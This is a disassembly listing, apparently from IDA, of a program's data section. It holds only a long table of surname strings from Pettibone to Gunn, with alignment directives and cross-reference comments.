aPettibone	db 'Pettibone',0        ; DATA XREF: ___:0042E688o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: ___:0042E684o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: ___:0042E680o
		align 10h
aPerrimon	db 'Perrimon',0         ; DATA XREF: ___:0042E67Co
		align 4
aPerone		db 'Perone',0           ; DATA XREF: ___:0042E678o
		align 4
aPerna		db 'Perna',0            ; DATA XREF: ___:0042E674o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: ___:0042E670o
aPerlak		db 'Perlak',0           ; DATA XREF: ___:0042E66Co
		align 4
aPerko		db 'Perko',0            ; DATA XREF: ___:0042E668o
		align 4
aPereira	db 'Pereira',0          ; DATA XREF: ___:0042E664o
aPenny		db 'Penny',0            ; DATA XREF: ___:0042E660o
		align 4
aPeishel	db 'Peishel',0          ; DATA XREF: ___:0042E65Co
aPederson	db 'Pederson',0         ; DATA XREF: ___:0042E658o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: ___:0042E654o
		align 4
aPeabody	db 'Peabody',0          ; DATA XREF: ___:0042E650o
aPaynter	db 'Paynter',0          ; DATA XREF: ___:0042E64Co
aPawloski	db 'Pawloski',0         ; DATA XREF: ___:0042E648o
		align 10h
aPavlon		db 'Pavlon',0           ; DATA XREF: ___:0042E644o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: ___:0042E640o
aPattullo	db 'Pattullo',0         ; DATA XREF: ___:0042E63Co
		align 4
aPatrick	db 'Patrick',0          ; DATA XREF: ___:0042E638o
aPatefield	db 'Patefield',0        ; DATA XREF: ___:0042E634o
		align 10h
aPascucci	db 'Pascucci',0         ; DATA XREF: ___:0042E630o
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: ___:0042E62Co
		align 4
aParris		db 'Parris',0           ; DATA XREF: ___:0042E628o
		align 10h
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: ___:0042E624o
aPaoletti	db 'Paoletti',0         ; DATA XREF: ___:0042E620o
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: ___:0042E61Co
		align 4
aPanizzon	db 'Panizzon',0         ; DATA XREF: ___:0042E618o
		align 10h
aPanadero	db 'Panadero',0         ; DATA XREF: ___:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: ___:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: ___:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: ___:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: ___:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: ___:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: ___:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: ___:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: ___:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: ___:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: ___:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: ___:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: ___:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: ___:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: ___:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: ___:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: ___:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: ___:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: ___:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: ___:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: ___:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: ___:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: ___:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: ___:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: ___:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: ___:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: ___:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: ___:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: ___:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: ___:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: ___:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: ___:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: ___:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: ___:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: ___:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: ___:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: ___:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: ___:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: ___:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: ___:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: ___:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: ___:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: ___:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: ___:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: ___:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: ___:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: ___:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: ___:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: ___:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: ___:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: ___:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: ___:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: ___:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: ___:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: ___:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: ___:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: ___:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: ___:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: ___:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: ___:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: ___:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: ___:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: ___:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: ___:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: ___:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: ___:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: ___:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: ___:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: ___:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: ___:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: ___:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: ___:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: ___:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: ___:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: ___:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: ___:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: ___:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: ___:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: ___:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: ___:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: ___:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: ___:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: ___:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: ___:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: ___:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: ___:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: ___:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: ___:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: ___:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: ___:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: ___:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: ___:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: ___:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: ___:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: ___:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: ___:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: ___:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: ___:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: ___:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: ___:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: ___:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: ___:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: ___:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: ___:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: ___:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: ___:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: ___:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: ___:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: ___:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: ___:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: ___:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: ___:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: ___:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: ___:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: ___:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: ___:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: ___:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: ___:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: ___:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: ___:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: ___:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: ___:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: ___:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: ___:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: ___:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: ___:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: ___:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: ___:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: ___:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: ___:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: ___:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: ___:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: ___:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: ___:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: ___:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: ___:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: ___:0042E35Co
aLine		db 'Line',0             ; DATA XREF: ___:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: ___:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: ___:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: ___:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: ___:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: ___:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: ___:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: ___:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: ___:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: ___:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: ___:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: ___:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: ___:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: ___:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: ___:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: ___:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: ___:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: ___:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: ___:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: ___:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: ___:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: ___:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: ___:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: ___:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: ___:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: ___:0042E2F4o
					; ___:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: ___:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: ___:0042E2ECo
					; ___:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: ___:0042E2E8o
aLa		db 'La',0               ; DATA XREF: ___:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: ___:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: ___:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: ___:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: ___:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: ___:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: ___:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: ___:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: ___:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: ___:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: ___:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: ___:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: ___:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: ___:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: ___:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: ___:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: ___:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: ___:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: ___:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: ___:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: ___:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: ___:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: ___:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: ___:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: ___:0042E284o
aKling		db 'Kling',0            ; DATA XREF: ___:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: ___:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: ___:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: ___:0042E274o
aKleckner	db 'Kleckner',0         ; DATA XREF: ___:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: ___:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: ___:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: ___:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: ___:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: ___:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: ___:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: ___:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: ___:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: ___:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: ___:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: ___:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: ___:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: ___:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: ___:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: ___:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: ___:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: ___:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: ___:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: ___:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: ___:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: ___:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: ___:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: ___:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: ___:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: ___:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: ___:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: ___:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: ___:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: ___:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: ___:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: ___:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: ___:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: ___:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: ___:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: ___:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: ___:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: ___:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: ___:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: ___:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: ___:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: ___:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: ___:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: ___:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: ___:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: ___:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: ___:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: ___:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: ___:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: ___:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: ___:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: ___:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: ___:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: ___:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: ___:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: ___:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: ___:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: ___:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: ___:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: ___:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: ___:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: ___:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: ___:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: ___:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: ___:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: ___:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: ___:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: ___:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: ___:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: ___:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: ___:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: ___:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: ___:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: ___:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: ___:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: ___:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: ___:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: ___:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: ___:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: ___:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: ___:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: ___:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: ___:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: ___:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: ___:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: ___:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: ___:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: ___:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: ___:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: ___:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: ___:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: ___:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: ___:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: ___:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: ___:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: ___:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: ___:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: ___:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: ___:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: ___:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: ___:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: ___:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: ___:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: ___:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: ___:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: ___:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: ___:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: ___:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: ___:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: ___:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: ___:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: ___:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: ___:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: ___:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: ___:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: ___:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: ___:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: ___:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: ___:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: ___:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: ___:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: ___:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: ___:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: ___:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: ___:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: ___:0042E07Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: ___:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: ___:0042E074o
aHand		db 'Hand',0             ; DATA XREF: ___:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: ___:0042E06Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: ___:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: ___:0042E064o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: ___:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: ___:0042E05Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: ___:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: ___:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: ___:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: ___:0042E04Co
aHaar		db 'Haar',0             ; DATA XREF: ___:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: ___:0042E044o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: ___:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: ___:0042E03Co
		align 4
